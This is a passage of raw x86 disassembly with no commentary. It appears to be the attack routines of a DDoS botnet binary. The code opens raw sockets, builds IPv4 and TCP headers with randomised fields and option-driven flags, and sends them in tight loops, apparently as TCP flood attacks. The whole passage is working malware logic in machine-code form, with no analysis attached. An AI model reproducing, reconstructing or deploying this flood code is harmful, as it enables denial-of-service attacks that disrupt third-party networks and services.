8048e3e: 8d 04 40 lea (%eax,%eax,2),%eax
8048e41: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8048e45: 89 43 10 mov %eax,0x10(%ebx)
8048e48: 8b 44 24 34 mov 0x34(%esp),%eax
8048e4c: 66 c1 c8 08 ror $0x8,%ax
8048e50: 66 89 43 14 mov %ax,0x14(%ebx)
8048e54: 66 8b 44 24 36 mov 0x36(%esp),%ax
8048e59: 66 c1 c8 08 ror $0x8,%ax
8048e5d: 66 89 42 02 mov %ax,0x2(%edx)
8048e61: 89 f0 mov %esi,%eax
8048e63: 66 c1 c8 08 ror $0x8,%ax
8048e67: 25 ff ff 00 00 and $0xffff,%eax
8048e6c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx)
8048e73: 89 42 04 mov %eax,0x4(%edx)
8048e76: 8a 42 0c mov 0xc(%edx),%al
8048e79: 83 e0 0f and $0xf,%eax
8048e7c: 83 c8 50 or $0x50,%eax
8048e7f: 80 4a 0d 02 orb $0x2,0xd(%edx)
8048e83: 88 42 0c mov %al,0xc(%edx)
8048e86: c6 43 28 02 movb $0x2,0x28(%ebx)
8048e8a: c6 43 29 04 movb $0x4,0x29(%ebx)
8048e8e: e8 bd 24 00 00 call 0x804b350
8048e93: 83 e0 0f and $0xf,%eax
8048e96: c6 43 2c 04 movb $0x4,0x2c(%ebx)
8048e9a: 05 78 05 00 00 add $0x578,%eax
8048e9f: c6 43 2d 02 movb $0x2,0x2d(%ebx)
8048ea3: 66 c1 c8 08 ror $0x8,%ax
8048ea7: c6 43 2e 08 movb $0x8,0x2e(%ebx)
8048eab: 66 89 43 2a mov %ax,0x2a(%ebx)
8048eaf: c6 43 2f 0a movb $0xa,0x2f(%ebx)
8048eb3: e8 98 24 00 00 call 0x804b350
8048eb8: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx)
8048ebf: 89 43 30 mov %eax,0x30(%ebx)
8048ec2: c6 43 38 01 movb $0x1,0x38(%ebx)
8048ec6: c6 43 39 03 movb $0x3,0x39(%ebx)
8048eca: c6 43 3a 03 movb $0x3,0x3a(%ebx)
8048ece: c6 43 3b 06 movb $0x6,0x3b(%ebx)
8048ed2: 8b 5c 24 48 mov 0x48(%esp),%ebx
8048ed6: 43 inc %ebx
8048ed7: 89 5c 24 48 mov %ebx,0x48(%esp)
8048edb: 83 c4 10 add $0x10,%esp
8048ede: 39 dd cmp %ebx,%ebp
8048ee0: 0f 8f ec fe ff ff jg 0x8048dd2
8048ee6: 85 ed test %ebp,%ebp
8048ee8: 7e fe jle 0x8048ee8
8048eea: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp)
8048ef1: 00
8048ef2: 31 c0 xor %eax,%eax
8048ef4: 8b 54 24 08 mov 0x8(%esp),%edx
8048ef8: 8b 4c 24 54 mov 0x54(%esp),%ecx
8048efc: 8b 34 82 mov (%edx,%eax,4),%esi
8048eff: 8d 04 40 lea (%eax,%eax,2),%eax
8048f02: 8d 04 c1 lea (%ecx,%eax,8),%eax
8048f05: 8d 7e 14 lea 0x14(%esi),%edi
8048f08: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8048f0c: 0f 86 a7 00 00 00 jbe 0x8048fb9
8048f12: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp)
8048f17: 0f 84 e1 00 00 00 je 0x8048ffe
8048f1d: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp)
8048f23: 0f 84 e9 00 00 00 je 0x8049012
8048f29: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp)
8048f2f: 0f 84 f2 00 00 00 je 0x8049027
8048f35: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp)
8048f3b: 0f 84 fb 00 00 00 je 0x804903c
8048f41: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
8048f47: 53 push %ebx
8048f48: 53 push %ebx
8048f49: 6a 14 push $0x14
8048f4b: 56 push %esi
8048f4c: e8 df 0b 00 00 call 0x8049b30
8048f51: 66 89 46 0a mov %ax,0xa(%esi)
8048f55: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
8048f5b: 6a 28 push $0x28
8048f5d: 68 00 28 00 00 push $0x2800
8048f62: 57 push %edi
8048f63: 56 push %esi
8048f64: e8 17 0c 00 00 call 0x8049b80
8048f69: 8b 4c 24 74 mov 0x74(%esp),%ecx
8048f6d: 66 89 47 10 mov %ax,0x10(%edi)
8048f71: 8b 44 24 58 mov 0x58(%esp),%eax
8048f75: 66 8b 57 02 mov 0x2(%edi),%dx
8048f79: 83 c4 18 add $0x18,%esp
8048f7c: 8d 04 40 lea (%eax,%eax,2),%eax
8048f7f: c1 e0 03 shl $0x3,%eax
8048f82: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
8048f87: 01 c8 add %ecx,%eax
8048f89: 6a 10 push $0x10
8048f8b: 50 push %eax
8048f8c: 68 00 40 00 00 push $0x4000
8048f91: 6a 3c push $0x3c
8048f93: 56 push %esi
8048f94: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048f98: 51 push %ecx
8048f99: e8 03 38 00 00 call 0x804c7a1
8048f9e: 8b 44 24 58 mov 0x58(%esp),%eax
8048fa2: 40 inc %eax
8048fa3: 89 44 24 58 mov %eax,0x58(%esp)
8048fa7: 83 c4 20 add $0x20,%esp
8048faa: 39 e8 cmp %ebp,%eax
8048fac: 0f 8c 42 ff ff ff jl 0x8048ef4
8048fb2: 85 ed test %ebp,%ebp
8048fb4: e9 2f ff ff ff jmp 0x8048ee8
8048fb9: 8b 58 10 mov 0x10(%eax),%ebx
8048fbc: e8 8f 23 00 00 call 0x804b350
8048fc1: 66 c1 cb 08 ror $0x8,%bx
8048fc5: c1 cb 10 ror $0x10,%ebx
8048fc8: 66 c1 cb 08 ror $0x8,%bx
8048fcc: 8b 54 24 38 mov 0x38(%esp),%edx
8048fd0: 8d 0c 52 lea (%edx,%edx,2),%ecx
8048fd3: 8b 54 24 54 mov 0x54(%esp),%edx
8048fd7: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8048fdb: 81 e1 ff 00 00 00 and $0xff,%ecx
8048fe1: d3 e8 shr %cl,%eax
8048fe3: 01 d8 add %ebx,%eax
8048fe5: 66 c1 c8 08 ror $0x8,%ax
8048fe9: c1 c8 10 ror $0x10,%eax
8048fec: 66 c1 c8 08 ror $0x8,%ax
8048ff0: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp)
8048ff5: 89 46 10 mov %eax,0x10(%esi)
8048ff8: 0f 85 1f ff ff ff jne 0x8048f1d
8048ffe: e8 4d 23 00 00 call 0x804b350
8049003: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp)
8049009: 89 46 0c mov %eax,0xc(%esi)
804900c: 0f 85 17 ff ff ff jne 0x8048f29
8049012: e8 39 23 00 00 call 0x804b350
8049017: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp)
804901d: 66 89 46 04 mov %ax,0x4(%esi)
8049021: 0f 85 0e ff ff ff jne 0x8048f35
8049027: e8 24 23 00 00 call 0x804b350
804902c: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp)
8049032: 66 89 46 14 mov %ax,0x14(%esi)
8049036: 0f 85 05 ff ff ff jne 0x8048f41
804903c: e8 0f 23 00 00 call 0x804b350
8049041: 66 89 47 02 mov %ax,0x2(%edi)
8049045: e9 f7 fe ff ff jmp 0x8048f41
804904a: 83 ec 0c sub $0xc,%esp
804904d: 8b 44 24 28 mov 0x28(%esp),%eax
8049051: 50 push %eax
8049052: e8 7c 30 00 00 call 0x804c0d3
8049057: 83 c4 10 add $0x10,%esp
804905a: 83 c4 3c add $0x3c,%esp
804905d: 5b pop %ebx
804905e: 5e pop %esi
804905f: 5f pop %edi
8049060: 5d pop %ebp
8049061: c3 ret
8049062: 90 nop
8049063: 90 nop
8049064: 90 nop
8049065: 90 nop
8049066: 90 nop
8049067: 90 nop
8049068: 90 nop
8049069: 90 nop
804906a: 90 nop
804906b: 90 nop
804906c: 90 nop
804906d: 90 nop
804906e: 90 nop
804906f: 90 nop
8049070: 55 push %ebp
8049071: 57 push %edi
8049072: 56 push %esi
8049073: 53 push %ebx
8049074: 83 ec 74 sub $0x74,%esp
8049077: 31 c0 xor %eax,%eax
8049079: 8b bc 24 94 00 00 00 mov 0x94(%esp),%edi
8049080: 0f b6 b4 24 90 00 00 movzbl 0x90(%esp),%esi
8049087: 00
8049088: 6a 04 push $0x4
804908a: 81 e6 ff 00 00 00 and $0xff,%esi
8049090: 8a 84 24 8c 00 00 00 mov 0x8c(%esp),%al
8049097: 89 44 24 10 mov %eax,0x10(%esp)
804909b: 50 push %eax
804909c: e8 43 3f 00 00 call 0x804cfe4
80490a1: 89 44 24 18 mov %eax,0x18(%esp)
80490a5: 6a 00 push $0x0
80490a7: 6a 02 push $0x2
80490a9: 57 push %edi
80490aa: 56 push %esi
80490ab: e8 90 f4 ff ff call 0x8048540
80490b0: 88 44 24 59 mov %al,0x59(%esp)
80490b4: 83 c4 20 add $0x20,%esp
80490b7: 68 ff ff 00 00 push $0xffff
80490bc: 6a 03 push $0x3
80490be: 57 push %edi
80490bf: 56 push %esi
80490c0: e8 7b f4 ff ff call 0x8048540
80490c5: 89 44 24 1c mov %eax,0x1c(%esp)
80490c9: 6a 40 push $0x40
80490cb: 6a 04 push $0x4
80490cd: 57 push %edi
80490ce: 56 push %esi
80490cf: e8 6c f4 ff ff call 0x8048540
80490d4: 88 44 24 5c mov %al,0x5c(%esp)
80490d8: 83 c4 20 add $0x20,%esp
80490db: 6a 00 push $0x0
80490dd: 6a 05 push $0x5
80490df: 57 push %edi
80490e0: 56 push %esi
80490e1: e8 5a f4 ff ff call 0x8048540
80490e6: 88 44 24 4d mov %al,0x4d(%esp)
80490ea: 68 ff ff 00 00 push $0xffff
80490ef: 6a 06 push $0x6
80490f1: 57 push %edi
80490f2: 56 push %esi
80490f3: e8 48 f4 ff ff call 0x8048540
80490f8: 89 44 24 30 mov %eax,0x30(%esp)
80490fc: 83 c4 20 add $0x20,%esp
80490ff: 68 ff ff 00 00 push $0xffff
8049104: 6a 07 push $0x7
8049106: 57 push %edi
8049107: 56 push %esi
8049108: e8 33 f4 ff ff call 0x8048540
804910d: 89 44 24 24 mov %eax,0x24(%esp)
8049111: 68 ff ff 00 00 push $0xffff
8049116: 6a 11 push $0x11
8049118: 57 push %edi
8049119: 56 push %esi
804911a: e8 21 f4 ff ff call 0x8048540
804911f: 89 44 24 38 mov %eax,0x38(%esp)
8049123: 83 c4 20 add $0x20,%esp
8049126: 68 ff ff 00 00 push $0xffff
804912b: 6a 12 push $0x12
804912d: 57 push %edi
804912e: 56 push %esi
804912f: e8 0c f4 ff ff call 0x8048540
8049134: 89 44 24 2c mov %eax,0x2c(%esp)
8049138: 6a 00 push $0x0
804913a: 6a 0b push $0xb
804913c: 57 push %edi
804913d: 56 push %esi
804913e: e8 fd f3 ff ff call 0x8048540
8049143: 89 44 24 40 mov %eax,0x40(%esp)
8049147: 83 c4 20 add $0x20,%esp
804914a: 6a 01 push $0x1
804914c: 6a 0c push $0xc
804914e: 57 push %edi
804914f: 56 push %esi
8049150: e8 eb f3 ff ff call 0x8048540
8049155: 89 44 24 34 mov %eax,0x34(%esp)
8049159: 6a 00 push $0x0
804915b: 6a 0d push $0xd
804915d: 57 push %edi
804915e: 56 push %esi
804915f: e8 dc f3 ff ff call 0x8048540
8049164: 89 44 24 48 mov %eax,0x48(%esp)
8049168: 83 c4 20 add $0x20,%esp
804916b: 6a 00 push $0x0
804916d: 6a 0e push $0xe
804916f: 57 push %edi
8049170: 56 push %esi
8049171: e8 ca f3 ff ff call 0x8048540
8049176: 89 44 24 3c mov %eax,0x3c(%esp)
804917a: 6a 00 push $0x0
804917c: 6a 0f push $0xf
804917e: 57 push %edi
804917f: 56 push %esi
8049180: e8 bb f3 ff ff call 0x8048540
8049185: 89 44 24 50 mov %eax,0x50(%esp)
8049189: 83 c4 20 add $0x20,%esp
804918c: 6a 00 push $0x0
804918e: 6a 10 push $0x10
8049190: 57 push %edi
8049191: 56 push %esi
8049192: e8 a9 f3 ff ff call 0x8048540
8049197: 68 00 02 00 00 push $0x200
804919c: 89 c5 mov %eax,%ebp
804919e: 6a 00 push $0x0
80491a0: 57 push %edi
80491a1: 56 push %esi
80491a2: e8 99 f3 ff ff call 0x8048540
80491a7: 89 44 24 64 mov %eax,0x64(%esp)
80491ab: 83 c4 20 add $0x20,%esp
80491ae: 6a 01 push $0x1
80491b0: 6a 01 push $0x1
80491b2: 57 push %edi
80491b3: 56 push %esi
80491b4: e8 87 f3 ff ff call 0x8048540
80491b9: 88 44 24 5b mov %al,0x5b(%esp)
80491bd: a1 08 f1 04 08 mov 0x804f108,%eax
80491c2: 50 push %eax
80491c3: 6a 19 push $0x19
80491c5: 57 push %edi
80491c6: 56 push %esi
80491c7: e8 14 f3 ff ff call 0x80484e0
80491cc: 89 44 24 6c mov %eax,0x6c(%esp)
80491d0: 83 c4 1c add $0x1c,%esp
80491d3: 6a 06 push $0x6
80491d5: 6a 03 push $0x3
80491d7: 6a 02 push $0x2
80491d9: e8 41 36 00 00 call 0x804c81f
80491de: 89 44 24 44 mov %eax,0x44(%esp)
80491e2: 83 c4 10 add $0x10,%esp
80491e5: 40 inc %eax
80491e6: 0f 84 16 04 00 00 je 0x8049602
80491ec: c7 44 24 68 01 00 00 movl $0x1,0x68(%esp)
80491f3: 00
80491f4: 83 ec 0c sub $0xc,%esp
80491f7: 6a 04 push $0x4
80491f9: 8d 44 24 78 lea 0x78(%esp),%eax
80491fd: 50 push %eax
80491fe: 6a 03 push $0x3
8049200: 6a 00 push $0x0
8049202: 8b 44 24 50 mov 0x50(%esp),%eax
8049206: 50 push %eax
8049207: e8 d8 35 00 00 call 0x804c7e4
804920c: 83 c4 20 add $0x20,%esp
804920f: 40 inc %eax
8049210: 0f 84 dc 03 00 00 je 0x80495f2
8049216: 8b 44 24 14 mov 0x14(%esp),%eax
804921a: 8b 54 24 0c mov 0xc(%esp),%edx
804921e: 8b 4c 24 10 mov 0x10(%esp),%ecx
8049222: 66 89 44 24 40 mov %ax,0x40(%esp)
8049227: 8b 44 24 04 mov 0x4(%esp),%eax
804922b: 66 89 54 24 3a mov %dx,0x3a(%esp)
8049230: 66 89 4c 24 3e mov %cx,0x3e(%esp)
8049235: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp)
804923c: 00
804923d: 85 c0 test %eax,%eax
804923f: 0f 8e a1 02 00 00 jle 0x80494e6
8049245: 8a 54 24 28 mov 0x28(%esp),%dl
8049249: 8b 4c 24 44 mov 0x44(%esp),%ecx
804924d: 83 c1 28 add $0x28,%ecx
8049250: 88 54 24 43 mov %dl,0x43(%esp)
8049254: 83 e2 01 and $0x1,%edx
8049257: 66 89 4c 24 54 mov %cx,0x54(%esp)
804925c: 88 54 24 58 mov %dl,0x58(%esp)
8049260: 8a 4c 24 30 mov 0x30(%esp),%cl
8049264: 8a 54 24 2c mov 0x2c(%esp),%dl
8049268: 83 e1 01 and $0x1,%ecx
804926b: 83 e2 01 and $0x1,%edx
804926e: 8b 44 24 18 mov 0x18(%esp),%eax
8049272: 88 54 24 59 mov %dl,0x59(%esp)
8049276: 88 4c 24 5a mov %cl,0x5a(%esp)
804927a: 8a 54 24 20 mov 0x20(%esp),%dl
804927e: 8a 4c 24 24 mov 0x24(%esp),%cl
8049282: 66 89 44 24 56 mov %ax,0x56(%esp)
8049287: 83 e2 01 and $0x1,%edx
804928a: 89 e8 mov %ebp,%eax
804928c: 83 e1 01 and $0x1,%ecx
804928f: 83 e0 01 and $0x1,%eax
8049292: 89 d7 mov %edx,%edi
8049294: 89 cd mov %ecx,%ebp
8049296: 88 44 24 5b mov %al,0x5b(%esp)
804929a: c1 e7 05 shl $0x5,%edi
804929d: 31 db xor %ebx,%ebx
804929f: c1 e5 04 shl $0x4,%ebp
80492a2: 50 push %eax
80492a3: 50 push %eax
80492a4: 6a 01 push $0x1
80492a6: 68 e6 05 00 00 push $0x5e6
80492ab: e8 34 3d 00 00 call 0x804cfe4
80492b0: 8b 54 24 18 mov 0x18(%esp),%edx
80492b4: 89 04 9a mov %eax,(%edx,%ebx,4)
80492b7: 8b 44 24 78 mov 0x78(%esp),%eax
80492bb: 8b 1c 82 mov (%edx,%eax,4),%ebx
80492be: c6 03 45 movb $0x45,(%ebx)
80492c1: 8d 73 14 lea 0x14(%ebx),%esi
80492c4: 8a 4c 24 49 mov 0x49(%esp),%cl
80492c8: 88 4b 01 mov %cl,0x1(%ebx)
80492cb: 8b 44 24 64 mov 0x64(%esp),%eax
80492cf: 66 c1 c8 08 ror $0x8,%ax
80492d3: 66 89 43 02 mov %ax,0x2(%ebx)
80492d7: 66 8b 44 24 4a mov 0x4a(%esp),%ax
80492dc: 66 c1 c8 08 ror $0x8,%ax
80492e0: 66 89 43 04 mov %ax,0x4(%ebx)
80492e4: 8a 44 24 4c mov 0x4c(%esp),%al
80492e8: 83 c4 10 add $0x10,%esp
80492eb: 88 43 08 mov %al,0x8(%ebx)
80492ee: 80 7c 24 3d 00 cmpb $0x0,0x3d(%esp)
80492f3: 74 06 je 0x80492fb
80492f5: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx)
80492fb: c6 43 09 06 movb $0x6,0x9(%ebx)
80492ff: 8b 54 24 4c mov 0x4c(%esp),%edx
8049303: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx
804930a: 89 53 0c mov %edx,0xc(%ebx)
804930d: 8b 44 24 68 mov 0x68(%esp),%eax
8049311: 8d 04 40 lea (%eax,%eax,2),%eax
8049314: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8049318: 89 43 10 mov %eax,0x10(%ebx)
804931b: 66 8b 44 24 3e mov 0x3e(%esp),%ax
8049320: 66 c1 c8 08 ror $0x8,%ax
8049324: 66 89 43 14 mov %ax,0x14(%ebx)
8049328: 8b 44 24 40 mov 0x40(%esp),%eax
804932c: 66 c1 c8 08 ror $0x8,%ax
8049330: 66 89 46 02 mov %ax,0x2(%esi)
8049334: 66 8b 44 24 56 mov 0x56(%esp),%ax
8049339: 66 c1 c8 08 ror $0x8,%ax
804933d: 25 ff ff 00 00 and $0xffff,%eax
8049342: 89 46 04 mov %eax,0x4(%esi)
8049345: 8a 46 0c mov 0xc(%esi),%al
8049348: 83 e0 0f and $0xf,%eax
804934b: 83 c8 50 or $0x50,%eax
804934e: 88 46 0c mov %al,0xc(%esi)
8049351: 8a 46 0d mov 0xd(%esi),%al
8049354: 83 e0 cf and $0xffffffcf,%eax
8049357: 8a 4c 24 58 mov 0x58(%esp),%cl
804935b: 09 f8 or %edi,%eax
804935d: 8a 54 24 59 mov 0x59(%esp),%dl
8049361: c1 e1 03 shl $0x3,%ecx
8049364: 09 e8 or %ebp,%eax
8049366: c1 e2 02 shl $0x2,%edx
8049369: 83 e0 f3 and $0xfffffff3,%eax
804936c: 09 c8 or %ecx,%eax
804936e: 09 d0 or %edx,%eax
8049370: 8a 54 24 5a mov 0x5a(%esp),%dl
8049374: 01 d2 add %edx,%edx
8049376: 83 e0 fc and $0xfffffffc,%eax
8049379: 09 d0 or %edx,%eax
804937b: 0a 44 24 5b or 0x5b(%esp),%al
804937f: 88 46 0d mov %al,0xd(%esi)
8049382: e8 c9 1f 00 00 call 0x804b350
8049387: 80 7c 24 43 00 cmpb $0x0,0x43(%esp)
804938c: 66 89 46 0e mov %ax,0xe(%esi)
8049390: 74 04 je 0x8049396
8049392: 80 4e 0d 08 orb $0x8,0xd(%esi)
8049396: 50 push %eax
8049397: 50 push %eax
8049398: 8b 74 24 4c mov 0x4c(%esp),%esi
804939c: 8d 43 28 lea 0x28(%ebx),%eax
804939f: 56 push %esi
80493a0: 50 push %eax
80493a1: e8 ea 20 00 00 call 0x804b490
80493a6: 8b 5c 24 78 mov 0x78(%esp),%ebx
80493aa: 43 inc %ebx
80493ab: 89 5c 24 78 mov %ebx,0x78(%esp)
80493af: 83 c4 10 add $0x10,%esp
80493b2: 3b 5c 24 04 cmp 0x4(%esp),%ebx
80493b6: 0f 8c e6 fe ff ff jl 0x80492a2
80493bc: 8b 44 24 44 mov 0x44(%esp),%eax
80493c0: 8b 54 24 44 mov 0x44(%esp),%edx
80493c4: 83 c0 14 add $0x14,%eax
80493c7: 8b 4c 24 04 mov 0x4(%esp),%ecx
80493cb: 89 04 24 mov %eax,(%esp)
80493ce: 8d 5a 28 lea 0x28(%edx),%ebx
80493d1: 85 c9 test %ecx,%ecx
80493d3: 7e fe jle 0x80493d3
80493d5: 8b 6c 24 44 mov 0x44(%esp),%ebp
80493d9: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp)
80493e0: 00
80493e1: 83 c5 14 add $0x14,%ebp
80493e4: 31 c0 xor %eax,%eax
80493e6: 8b 54 24 08 mov 0x8(%esp),%edx
80493ea: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx
80493f1: 8b 34 82 mov (%edx,%eax,4),%esi
80493f4: 8d 04 40 lea (%eax,%eax,2),%eax
80493f7: 8d 04 c1 lea (%ecx,%eax,8),%eax
80493fa: 8d 7e 14 lea 0x14(%esi),%edi
80493fd: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8049401: 0f 86 01 01 00 00 jbe 0x8049508
8049407: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp)
804940c: 0f 84 4a 01 00 00 je 0x804955c
8049412: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049418: 0f 84 52 01 00 00 je 0x8049570
804941e: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp)
8049424: 0f 84 5b 01 00 00 je 0x8049585
804942a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp)
8049430: 0f 84 64 01 00 00 je 0x804959a
8049436: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
804943d: 00
804943e: 0f 84 6d 01 00 00 je 0x80495b1
8049444: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp)
804944b: 00
804944c: 0f 84 75 01 00 00 je 0x80495c7
8049452: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp)
8049457: 0f 85 7d 01 00 00 jne 0x80495da
804945d: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
8049463: 51 push %ecx
8049464: 51 push %ecx
8049465: 6a 14 push $0x14
8049467: 56 push %esi
8049468: e8 c3 06 00 00 call 0x8049b30
804946d: 8b 54 24 10 mov 0x10(%esp),%edx
8049471: 66 89 46 0a mov %ax,0xa(%esi)
8049475: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
804947b: 89 e8 mov %ebp,%eax
804947d: 66 c1 c8 08 ror $0x8,%ax
8049481: 25 ff ff 00 00 and $0xffff,%eax
8049486: 52 push %edx
8049487: 50 push %eax
8049488: 57 push %edi
8049489: 56 push %esi
804948a: e8 f1 06 00 00 call 0x8049b80
804948f: 66 89 47 10 mov %ax,0x10(%edi)
8049493: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax
804949a: 8b 8c 24 a4 00 00 00 mov 0xa4(%esp),%ecx
80494a1: 66 8b 57 02 mov 0x2(%edi),%dx
80494a5: 8d 04 40 lea (%eax,%eax,2),%eax
80494a8: 83 c4 18 add $0x18,%esp
80494ab: c1 e0 03 shl $0x3,%eax
80494ae: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
80494b3: 01 c8 add %ecx,%eax
80494b5: 6a 10 push $0x10
80494b7: 50 push %eax
80494b8: 68 00 40 00 00 push $0x4000
80494bd: 53 push %ebx
80494be: 56 push %esi
80494bf: 8b 44 24 50 mov 0x50(%esp),%eax
80494c3: 50 push %eax
80494c4: e8 d8 32 00 00 call 0x804c7a1
80494c9: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax
80494d0: 40 inc %eax
80494d1: 89 84 24 88 00 00 00 mov %eax,0x88(%esp)
80494d8: 83 c4 20 add $0x20,%esp
80494db: 3b 44 24 04 cmp 0x4(%esp),%eax
80494df: 7d 16 jge 0x80494f7
80494e1: e9 00 ff ff ff jmp 0x80493e6
80494e6: 8b 4c 24 44 mov 0x44(%esp),%ecx
80494ea: 8b 44 24 44 mov 0x44(%esp),%eax
80494ee: 83 c1 14 add $0x14,%ecx
80494f1: 89 0c 24 mov %ecx,(%esp)
80494f4: 8d 58 28 lea 0x28(%eax),%ebx
80494f7: 8b 4c 24 04 mov 0x4(%esp),%ecx
80494fb: 85 c9 test %ecx,%ecx
80494fd: 0f 8e d0 fe ff ff jle 0x80493d3
8049503: e9 cd fe ff ff jmp 0x80493d5
8049508: 8b 40 10 mov 0x10(%eax),%eax
804950b: 89 44 24 50 mov %eax,0x50(%esp)
804950f: 66 c1 c8 08 ror $0x8,%ax
8049513: c1 c8 10 ror $0x10,%eax
8049516: 66 c1 c8 08 ror $0x8,%ax
804951a: 89 44 24 50 mov %eax,0x50(%esp)
804951e: e8 2d 1e 00 00 call 0x804b350
8049523: 8b 54 24 68 mov 0x68(%esp),%edx
8049527: 8d 0c 52 lea (%edx,%edx,2),%ecx
804952a: 8b 94 24 84 00 00 00 mov 0x84(%esp),%edx
8049531: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8049535: 8b 54 24 50 mov 0x50(%esp),%edx
8049539: 81 e1 ff 00 00 00 and $0xff,%ecx
804953f: d3 e8 shr %cl,%eax
8049541: 01 d0 add %edx,%eax
8049543: 66 c1 c8 08 ror $0x8,%ax
8049547: c1 c8 10 ror $0x10,%eax
804954a: 66 c1 c8 08 ror $0x8,%ax
804954e: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp)
8049553: 89 46 10 mov %eax,0x10(%esi)
8049556: 0f 85 b6 fe ff ff jne 0x8049412
804955c: e8 ef 1d 00 00 call 0x804b350
8049561: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049567: 89 46 0c mov %eax,0xc(%esi)
804956a: 0f 85 ae fe ff ff jne 0x804941e
8049570: e8 db 1d 00 00 call 0x804b350
8049575: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp)
804957b: 66 89 46 04 mov %ax,0x4(%esi)
804957f: 0f 85 a5 fe ff ff jne 0x804942a
8049585: e8 c6 1d 00 00 call 0x804b350
804958a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp)
8049590: 66 89 46 14 mov %ax,0x14(%esi)
8049594: 0f 85 9c fe ff ff jne 0x8049436
804959a: e8 b1 1d 00 00 call 0x804b350
804959f: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
80495a6: 00
80495a7: 66 89 47 02 mov %ax,0x2(%edi)
80495ab: 0f 85 93 fe ff ff jne 0x8049444
80495b1: e8 9a 1d 00 00 call 0x804b350
80495b6: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp)
80495bd: 00
80495be: 89 47 04 mov %eax,0x4(%edi)
80495c1: 0f 85 8b fe ff ff jne 0x8049452
80495c7: e8 84 1d 00 00 call 0x804b350
80495cc: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp)
80495d1: 89 47 08 mov %eax,0x8(%edi)
80495d4: 0f 84 83 fe ff ff je 0x804945d
80495da: 50 push %eax
80495db: 50 push %eax
80495dc: 8b 44 24 4c mov 0x4c(%esp),%eax
80495e0: 50 push %eax
80495e1: 8d 46 28 lea 0x28(%esi),%eax
80495e4: 50 push %eax
80495e5: e8 a6 1e 00 00 call 0x804b490
80495ea: 83 c4 10 add $0x10,%esp
80495ed: e9 6b fe ff ff jmp 0x804945d
80495f2: 83 ec 0c sub $0xc,%esp
80495f5: 8b 44 24 40 mov 0x40(%esp),%eax
80495f9: 50 push %eax
80495fa: e8 d4 2a 00 00 call 0x804c0d3
80495ff: 83 c4 10 add $0x10,%esp
8049602: 83 c4 6c add $0x6c,%esp
8049605: 5b pop %ebx
8049606: 5e pop %esi
8049607: 5f pop %edi
8049608: 5d pop %ebp
8049609: c3 ret
804960a: 90 nop
804960b: 90 nop
804960c: 90 nop
804960d: 90 nop
804960e: 90 nop
804960f: 90 nop
8049610: 55 push %ebp
8049611: 57 push %edi
8049612: 56 push %esi
8049613: 53 push %ebx
8049614: 83 ec 64 sub $0x64,%esp
8049617: 8b 9c 24 84 00 00 00 mov 0x84(%esp),%ebx
804961e: 0f b6 b4 24 80 00 00 movzbl 0x80(%esp),%esi
8049625: 00
8049626: 6a 04 push $0x4
8049628: 81 e6 ff 00 00 00 and $0xff,%esi
804962e: 8a 44 24 7c mov 0x7c(%esp),%al
8049632: 25 ff 00 00 00 and $0xff,%eax
8049637: 50 push %eax
8049638: 89 c5 mov %eax,%ebp
804963a: e8 a5 39 00 00 call 0x804cfe4
804963f: 89 44 24 14 mov %eax,0x14(%esp)
8049643: 6a 00 push $0x0
8049645: 6a 02 push $0x2
8049647: 53 push %ebx
8049648: 56 push %esi
8049649: e8 f2 ee ff ff call 0x8048540
804964e: 88 44 24 55 mov %al,0x55(%esp)
8049652: 83 c4 20 add $0x20,%esp
8049655: 68 ff ff 00 00 push $0xffff
804965a: 6a 03 push $0x3
804965c: 53 push %ebx
804965d: 56 push %esi
804965e: e8 dd ee ff ff call 0x8048540
8049663: 89 44 24 18 mov %eax,0x18(%esp)
8049667: 6a 40 push $0x40
8049669: 6a 04 push $0x4
804966b: 53 push %ebx
804966c: 56 push %esi
804966d: e8 ce ee ff ff call 0x8048540
8049672: 88 44 24 58 mov %al,0x58(%esp)
8049676: 83 c4 20 add $0x20,%esp
8049679: 6a 01 push $0x1
804967b: 6a 05 push $0x5
804967d: 53 push %ebx
804967e: 56 push %esi
804967f: e8 bc ee ff ff call 0x8048540
